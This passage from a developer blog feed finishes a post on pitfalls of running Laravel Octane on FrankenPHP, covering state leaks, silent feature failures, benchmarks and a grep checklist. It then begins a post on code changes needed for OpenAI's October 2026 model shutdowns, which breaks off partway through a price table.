&lt;p&gt;The container exits with code 1. Octane’s worker script loops &lt;code&gt;while ($requestCount &amp;lt; $maxRequests …)&lt;/code&gt;, so with 0 it never serves a request; FrankenPHP sees six consecutive workers fail to reach &lt;code&gt;frankenphp_handle_request()&lt;/code&gt; and gives up. Through &lt;code&gt;octane:start --server=frankenphp --max-requests=0&lt;/code&gt; the server does start, but the worker gets &lt;code&gt;MAX_REQUESTS=500&lt;/code&gt;: a &lt;code&gt;?:&lt;/code&gt; in the command replaces the 0 with the config default without telling you. The two pull requests that would have made 0 mean unlimited were closed without merging.&lt;/p&gt;
&lt;p&gt;If you want effectively unlimited, pass a large number (&lt;code&gt;--max-requests=1000000&lt;/code&gt; measured the same throughput as 500). But the restarts are what protect you from section 2, so I’d keep the default.&lt;/p&gt;
&lt;h2 id=&quot;4-config-injected-into-a-singleton-goes-stale-and-can-poison-the-worker&quot;&gt;4. Config injected into a singleton goes stale, and can poison the worker&lt;/h2&gt;
&lt;p&gt;A singleton that receives the config repository in its constructor, and a request that changes a value at runtime (per-tenant config, say):&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;?set=changed-in-request → {&amp;quot;config_helper&amp;quot;:&amp;quot;changed-in-request&amp;quot;,&amp;quot;injected_repo&amp;quot;:&amp;quot;original&amp;quot;,
                           &amp;quot;resolver_closure&amp;quot;:&amp;quot;changed-in-request&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The injected repository is the base app’s, so within the request it doesn’t see the change. The worse case is the reverse: a request that &lt;strong&gt;writes&lt;/strong&gt; through that injected repository (&lt;code&gt;$service-&amp;gt;config-&amp;gt;set(...)&lt;/code&gt;) changes the base app’s config, and from then on every later request on that worker reads &lt;code&gt;mutated-via-service&lt;/code&gt;. In classic mode none of this survives the request. The fix is the one the docs give: inject a resolver closure, or call &lt;code&gt;config()&lt;/code&gt; when you need the value.&lt;/p&gt;
&lt;h2 id=&quot;5-what-frankenphp-adds-threads-_env-and-exit&quot;&gt;5. What FrankenPHP adds: threads, &lt;code&gt;$_ENV&lt;/code&gt; and &lt;code&gt;exit()&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Threads, not processes.&lt;/strong&gt; Four workers all reported the same PID, and &lt;code&gt;/proc&lt;/code&gt; showed a single &lt;code&gt;frankenphp&lt;/code&gt; process with 67 threads. FrankenPHP’s docs say so (“threads instead of processes”), and it matters for two reasons: extensions that aren’t thread-safe can’t be used (the known-issues page lists &lt;code&gt;imap&lt;/code&gt;, &lt;code&gt;newrelic&lt;/code&gt; and &lt;code&gt;pcov&lt;/code&gt;, and warns that &lt;code&gt;imagick&lt;/code&gt; in the Docker images can crash because of its OpenMP threads), and a crash in any thread takes down the whole process, every worker included.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;$_ENV&lt;/code&gt; and &lt;code&gt;putenv()&lt;/code&gt; survive between requests.&lt;/strong&gt; FrankenPHP resets &lt;code&gt;$_GET&lt;/code&gt;, &lt;code&gt;$_POST&lt;/code&gt;, &lt;code&gt;$_SERVER&lt;/code&gt; and the rest, but its &lt;a href=&quot;https://frankenphp.dev/docs/worker/&quot;&gt;worker docs&lt;/a&gt; say “&lt;code&gt;$_ENV&lt;/code&gt; is currently not reset between requests”. I tested it with &lt;code&gt;putenv()&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-plaintext&quot; data-language=&quot;plaintext&quot;&gt;&lt;code class=&quot;language-plaintext&quot;&gt;?v=secret-from-alice → {&amp;quot;prev_getenv&amp;quot;:null}
(next request)       → {&amp;quot;prev_$_ENV&amp;quot;:&amp;quot;secret-from-alice&amp;quot;,&amp;quot;prev_$_SERVER&amp;quot;:null,
                        &amp;quot;prev_getenv&amp;quot;:&amp;quot;secret-from-alice&amp;quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With four workers, only the thread that set it saw the value. If any code writes request data into the environment (some SDKs set credentials that way), it leaks to whoever that thread serves next.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;exit()&lt;/code&gt; returns 200.&lt;/strong&gt; &lt;code&gt;exit(0)&lt;/code&gt; and &lt;code&gt;exit(1)&lt;/code&gt; both sent the output so far with &lt;strong&gt;HTTP 200&lt;/strong&gt; and rebooted the worker. Twelve &lt;code&gt;exit(1)&lt;/code&gt; in a row: twelve 200s, and the server survived. &lt;code&gt;dd()&lt;/code&gt; returned 500 and also rebooted. A health check that only looks at the status code won’t see a script that dies halfway.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The 30-second limit is per request.&lt;/strong&gt; Octane sets &lt;code&gt;max_execution_time&lt;/code&gt; to 30 seconds. Two 20-second requests in a row on the same worker both returned 200; a 35-second one returned 500 after 31.2 s with “Maximum execution time of 30 seconds exceeded” in the log, and the worker rebooted.&lt;/p&gt;
&lt;p&gt;Open issues worth knowing before you deploy (from &lt;code&gt;php/frankenphp&lt;/code&gt;, still open in September 2026):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/php/frankenphp/issues/2588&quot;&gt;#2588&lt;/a&gt;: Octane worker segfault (exit 139). The reporter fixed it by switching &lt;code&gt;opcache.jit&lt;/code&gt; from &lt;code&gt;tracing&lt;/code&gt; to &lt;code&gt;function&lt;/code&gt;, pointing at a tracing-JIT regression in PHP 8.5.5 and later.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/php/frankenphp/issues/1074&quot;&gt;#1074&lt;/a&gt;: concurrent file uploads hang over HTTPS; the maintainer reproduced it in July with 30 multipart uploads over one HTTP/2 connection.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/php/frankenphp/issues/2388&quot;&gt;#2388&lt;/a&gt;: the Alpine image segfaults with hundreds of environment variables (Kubernetes service links are the usual source).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And update Octane: before 2.18.0, a &lt;code&gt;multipart/form-data&lt;/code&gt; POST without a boundary killed the request. With the old worker script I got a silent 500 with nothing in &lt;code&gt;laravel.log&lt;/code&gt;; on 2.19.1 it’s handled normally.&lt;/p&gt;
&lt;h2 id=&quot;6-the-swoole-only-features-fail-silently&quot;&gt;6. The Swoole-only features fail silently&lt;/h2&gt;
&lt;p&gt;The docs mark concurrent tasks, ticks, the Octane cache and tables as Swoole features. What they do on FrankenPHP:&lt;/p&gt;

























&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Feature&lt;/th&gt;&lt;th&gt;On FrankenPHP&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Octane::concurrently()&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Runs the tasks &lt;strong&gt;one after another&lt;/strong&gt;: two 300 ms tasks took 600 ms&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Cache::store(&amp;#39;octane&amp;#39;)&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Works, but it’s a &lt;strong&gt;separate cache per worker&lt;/strong&gt;: a value written on one of four workers was missing on the other three&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Octane::tick()&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Registers without error and &lt;strong&gt;never fires&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;Octane::table()&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Throws “Tables may only be accessed when using the Swoole server.”&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Only the last one tells you. If you’re moving from Swoole to FrankenPHP, grep for the first three: the code will keep running, just not doing what it did.&lt;/p&gt;
&lt;h2 id=&quot;7-packages-mostly-fine-in-2026&quot;&gt;7. Packages: mostly fine in 2026&lt;/h2&gt;
&lt;p&gt;Octane ships its own reset listeners for Livewire, Inertia, Scout and Socialite. Current versions of the usual suspects handle it themselves: Filament resets its component managers on each request, Telescope listens to Octane’s request events, Debugbar 4 “works out of the box with Octane” (if you’re coming from 3.x, remove its entry from &lt;code&gt;flush&lt;/code&gt; in &lt;code&gt;config/octane.php&lt;/code&gt;), and Inertia 3 fixed its dev tools under Octane. The one to configure is &lt;code&gt;spatie/laravel-permission&lt;/code&gt;: its Octane reset listener is off by default, and its docs say to turn it on if cached permissions look stale or cross between requests.&lt;/p&gt;
&lt;h2 id=&quot;is-it-worth-it-the-numbers&quot;&gt;Is it worth it? The numbers&lt;/h2&gt;
&lt;p&gt;A laptop micro-benchmark, not a production claim: a route that returns a small JSON body, &lt;code&gt;APP_ENV=production&lt;/code&gt;, the server pinned to 4 CPUs (8 workers) and &lt;code&gt;wrk&lt;/code&gt; on separate CPUs, 20 seconds per run.&lt;/p&gt;















































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Mode&lt;/th&gt;&lt;th style=&quot;text-align:right&quot;&gt;Connections&lt;/th&gt;&lt;th style=&quot;text-align:right&quot;&gt;Requests/s&lt;/th&gt;&lt;th style=&quot;text-align:right&quot;&gt;Median latency&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Octane (FrankenPHP worker)&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;16&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;~6,000&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;2.5 ms&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;FrankenPHP classic, with &lt;code&gt;optimize&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;16&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;~2,900&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;5 ms&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;FrankenPHP classic, &lt;strong&gt;without&lt;/strong&gt; config/route cache&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;16&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;1,345&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;11 ms&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Octane&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;64&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;~5,150&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;12 ms&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;FrankenPHP classic, with &lt;code&gt;optimize&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;64&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;~2,490&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;24 ms&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;php artisan serve&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;64&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;~315&lt;/td&gt;&lt;td style=&quot;text-align:right&quot;&gt;204 ms&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Octane doubled throughput against a properly cached classic setup, and gave 4.5 times more against one without &lt;code&gt;php artisan optimize&lt;/code&gt;. The honest comparison is the first: if your production doesn’t cache config and routes, fix that before reaching for Octane. And on a real app the gain depends on how heavy your boot is compared to your I/O; a route that waits 200 ms on the database gains little from saving 3 ms of boot.&lt;/p&gt;
&lt;aside class=&quot;not-prose my-8 flex flex-wrap items-center gap-4 rounded-2xl border border-neutral-100 bg-white p-5 transition-all duration-200 hover:shadow-[5px_5px_rgba(0,98,90,0.3),10px_10px_rgba(0,98,90,0.2),15px_15px_rgba(0,98,90,0.1)] dark:border-zinc-800 dark:bg-zinc-900/40&quot; style=&quot;border-left:4px solid #3b82f6&quot;&gt; &lt;span class=&quot;grid size-12 shrink-0 place-items-center rounded-xl&quot; style=&quot;background:#3b82f61a;color:#3b82f6&quot;&gt;  &lt;/span&gt; &lt;div class=&quot;flex min-w-48 flex-1 flex-col gap-0.5&quot;&gt; &lt;span class=&quot;text-xs font-semibold tracking-wide text-zinc-500 uppercase dark:text-zinc-400&quot;&gt; Free tool &lt;/span&gt; &lt;span class=&quot;text-lg leading-snug font-bold text-blacktext dark:text-mint-50&quot;&gt; Docker Compose Validator &lt;/span&gt; &lt;span class=&quot;text-sm text-pretty text-zinc-600 dark:text-zinc-400&quot;&gt; Validate your compose.yaml against the official Compose schema and catch key typos, wrong types and YAML errors, with the exact line. All in your browser. &lt;/span&gt; &lt;/div&gt; &lt;a href=&quot;https://ortamarco.me/en/tools/docker-compose-validator/&quot; data-umami-event=&quot;tool_callout_click&quot; data-umami-event-tool=&quot;validador-docker-compose&quot; class=&quot;shrink-0 rounded-xl max-sm:w-full max-sm:text-center sm:ml-auto bg-mint-600 px-4 py-2 text-sm! font-semibold text-white! no-underline! transition-colors hover:bg-mint-700 hover:text-white!&quot;&gt; Open tool → &lt;/a&gt; &lt;/aside&gt;
&lt;h2 id=&quot;the-checklist-before-you-switch&quot;&gt;The checklist before you switch&lt;/h2&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Services that hold state or receive request/config in the constructor&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;singleton\(|-&amp;gt;instance\(&amp;quot;&lt;/span&gt; app/Providers/
&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;__construct\([^)]*(Request|Repository|Container)&amp;quot;&lt;/span&gt; app/

&lt;span class=&quot;token comment&quot;&gt;# Static properties that accumulate&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;static (array|&lt;span class=&quot;token entity&quot; title=&quot;\\&quot;&gt;\\&lt;/span&gt;\$)&amp;quot;&lt;/span&gt; app/ &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;function&amp;quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Resolution through the base app from boot()&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;&lt;span class=&quot;token entity&quot; title=&quot;\\&quot;&gt;\\&lt;/span&gt;\&lt;span class=&quot;token variable&quot;&gt;$this&lt;/span&gt;-&amp;gt;app-&amp;gt;(make|get)\(&amp;quot;&lt;/span&gt; app/Providers/

&lt;span class=&quot;token comment&quot;&gt;# Things FrankenPHP treats differently&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;putenv\(|&lt;span class=&quot;token entity&quot; title=&quot;\\&quot;&gt;\\&lt;/span&gt;\&lt;span class=&quot;token variable&quot;&gt;$_ENV&lt;/span&gt;\[|&lt;span class=&quot;token entity&quot; title=&quot;\b&quot;&gt;\b&lt;/span&gt;exit\(|&lt;span class=&quot;token entity&quot; title=&quot;\b&quot;&gt;\b&lt;/span&gt;die\(&amp;quot;&lt;/span&gt; app/ routes/

&lt;span class=&quot;token comment&quot;&gt;# Swoole-only APIs that degrade silently&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;Octane::(concurrently|tick|table)|store\(&amp;#39;octane&amp;#39;\)&amp;quot;&lt;/span&gt; app/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, in order: install &lt;code&gt;pcntl&lt;/code&gt; in the image, use a Debian-based image, run your test suite, load-test the Octane server with at least four workers (single-worker tests hide the leaks that only happen on one worker in four), and keep &lt;code&gt;--max-requests&lt;/code&gt; at its default. If you’re also moving to Laravel 13, &lt;a href=&quot;https://ortamarco.me/en/blog/what-breaks-upgrading-to-laravel-13/&quot;&gt;what breaks upgrading to Laravel 13&lt;/a&gt; covers the framework side.&lt;/p&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Does a singleton that receives the request leak between requests in Laravel Octane? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Not if it is resolved during a request: Octane handles each request on a clone of the application, and singletons resolved on the clone are discarded at the end. Tested on Laravel 13.32 with Octane 2.19.1 and FrankenPHP 1.12.7. It leaks when it is resolved during boot (it captures the console request Laravel binds while booting) or through the base application, for example from a listener registered in boot() that calls $this-&amp;gt;app-&amp;gt;make(); in that case it keeps the first request for the life of the worker. Use scoped(), add the class to flush in config/octane.php, or inject a resolver closure. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What does --max-requests=0 do with Octane and FrankenPHP? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It stops the server from starting. With php artisan octane:frankenphp --max-requests=0, the worker script never reaches frankenphp_handle_request() and FrankenPHP exits with &amp;quot;too many consecutive failures&amp;quot;. With octane:start the server starts but silently uses the default of 500. On Swoole and RoadRunner, 0 means unlimited. Use a large number if you want to avoid restarts, but the default 500 is what clears memory leaks. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Which Octane features do not work with FrankenPHP? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Concurrent tasks, ticks, the Octane cache and tables are Swoole features. On FrankenPHP, Octane::concurrently() runs tasks sequentially, the octane cache store is a separate array per worker, Octane::tick() registers but never fires, and only Octane::table() throws an exception. The first three fail silently. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Why does Laravel Octane fail with Undefined constant SIGINT on FrankenPHP? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Because the official dunglas/frankenphp Docker image does not include the pcntl extension, and Octane uses its signal constants. Install it with install-php-extensions pcntl, as the Dockerfile in the Octane documentation does. The image also lacks zip and unzip, so install Composer dependencies in a separate stage. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is $_ENV reset between requests in FrankenPHP worker mode? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. FrankenPHP resets $_GET, $_POST, $_COOKIE, $_FILES, $_SERVER and $_REQUEST between requests, but its documentation says $_ENV is currently not reset. In testing, a value set with putenv() in one request was visible to the next request on the same thread. Do not store request-specific or sensitive data in the environment. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; How much faster is Laravel Octane with FrankenPHP? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; In a laptop micro-benchmark with a minimal JSON route, Octane served about 6,000 requests per second against about 2,900 for FrankenPHP classic mode with config and route caches, roughly double, and 4.5 times more than classic mode without caches. The real gain depends on how much of each request is framework boot versus waiting on the database or other I/O. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Web Development</category><category>Laravel</category><category>Octane</category><category>FrankenPHP</category><category>PHP</category><category>Performance</category><category>Migration</category><author>Marco Orta</author></item><item><title>OpenAI Shuts Down GPT-4, o1 and o3-mini on October 23: What Breaks in Your Code (It&apos;s Not Just the Model Name)</title><link>https://ortamarco.me/en/blog/what-breaks-openai-gpt-4-shutdown-october-23/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/what-breaks-openai-gpt-4-shutdown-october-23/</guid><description>Swapping gpt-4 for gpt-5.6-sol is the easy part. Library defaults, tools on Chat Completions, max_tokens and fine-tunes break after it. With greps and prices.</description><pubDate>Mon, 21 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;On October 23, 2026 OpenAI shuts down &lt;code&gt;gpt-3.5-turbo&lt;/code&gt;, &lt;code&gt;gpt-4&lt;/code&gt;, &lt;code&gt;gpt-4-turbo&lt;/code&gt;, &lt;code&gt;o1&lt;/code&gt;, &lt;code&gt;o1-pro&lt;/code&gt;, &lt;code&gt;o3-mini&lt;/code&gt;, &lt;code&gt;o4-mini&lt;/code&gt;, &lt;code&gt;gpt-4.1-nano&lt;/code&gt;, one &lt;code&gt;gpt-4o&lt;/code&gt; snapshot and &lt;code&gt;gpt-image-1&lt;/code&gt;. The deprecations page makes the fix look like a string swap: put &lt;code&gt;gpt-5.6-sol&lt;/code&gt;, &lt;code&gt;-terra&lt;/code&gt; or &lt;code&gt;-luna&lt;/code&gt; where the old name was. That swap is the easy part, and for a lot of code it isn’t even where the problem is.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Four things break &lt;em&gt;after&lt;/em&gt; you change the name, and one breaks in code where the name never appears: LangChain and LlamaIndex still default to &lt;code&gt;gpt-3.5-turbo&lt;/code&gt;, so a project that never wrote a model name is using one that dies on October 23. Below is everything, checked against OpenAI’s docs as they were served on September 21 and against the libraries’ source code. Where a claim comes from user reports rather than from OpenAI, I say so.&lt;/p&gt;
&lt;p&gt;If what you need is the full calendar across providers (Anthropic, Gemini, Azure) and how to tell whether a business chatbot is affected, that’s in &lt;a href=&quot;https://ortamarco.me/en/blog/ai-model-retirements-2026/&quot;&gt;the AI model retirements guide&lt;/a&gt;. This post is the code side.&lt;/p&gt;
&lt;h2 id=&quot;what-shuts-down-and-what-openai-says-to-use-instead&quot;&gt;What shuts down, and what OpenAI says to use instead&lt;/h2&gt;
&lt;p&gt;From the &lt;a href=&quot;https://developers.openai.com/api/docs/deprecations&quot;&gt;deprecations page&lt;/a&gt;, section “2026-04-22: Legacy GPT model snapshots”. OpenAI announced it by email on April 22; the substitute column was edited later, since it names models released in July. Prices are standard tier, per million tokens, input / output, from the &lt;a href=&quot;https://developers.openai.com/api/docs/pricing&quot;&gt;pricing page&lt;/a&gt;:&lt;/p&gt;


















































































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Shuts down Oct 23&lt;/th&gt;&lt;th&gt;Price&lt;/th&gt;&lt;th&gt;Substitute&lt;/th&gt;&lt;th&gt;Price&lt;/th&gt;&lt;th&gt;Change&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;gpt-3.5-turbo&lt;/code&gt; (&lt;code&gt;-0125&lt;/code&gt;, &lt;code&gt;-completions&lt;/code&gt;)&lt;/td&gt;&lt;td&gt;$0.50 / $1.50&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-5.6-terra&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$2 / $12&lt;/td&gt;&lt;td&gt;&lt;strong&gt;4× / 8×&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;gpt-4&lt;/code&gt; (&lt;code&gt;-0613&lt;/code&gt;, &lt;code&gt;-completions&lt;/code&gt;)&lt;/td&gt;&lt;td&gt;$30 / $60&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-5.6-sol&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$4 / $20&lt;/td&gt;&lt;td&gt;cheaper&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;gpt-4-turbo&lt;/code&gt; (&lt;code&gt;-2024-04-09&lt;/code&gt;)&lt;/td&gt;&lt;td&gt;$10 / $30&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-5.6-sol&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$4 / $20&lt;/td&gt;&lt;td&gt;cheaper&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;gpt-4o-2024-05-13&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$5 / $15&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-5.6-sol&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$4 / $20&lt;/td&gt;&lt;td&gt;≈ / 1.3×&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;gpt-4.1-nano&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$0.10 / $0.40&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-5.6-luna&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$0.20 / $1.20&lt;/td&gt;&lt;td&gt;2× / 3×&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;o1&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$15 / $60&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-5.6-sol&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$4 / $20&lt;/td&gt;&lt;td&gt;cheaper&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;o1-pro&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$150 / $600&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-5.6-sol&lt;/code&gt;, pro mode&lt;/td&gt;&lt;td&gt;$4 / $20 + more tokens&lt;/td&gt;&lt;td&gt;cheaper&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;o3-mini&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$1.10 / $4.40&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-5.6-sol&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$4 / $20&lt;/td&gt;&lt;td&gt;3.6× / 4.5×&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;o4-mini&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$1.10 / $4.40&lt;/td&gt;&lt;td&gt;&lt;code&gt;gpt-5.6-terra&lt;/code&gt;&lt;/td&gt;&lt;td&gt;$2 / $12&lt;/td&gt;&lt;td&gt;1.8× / 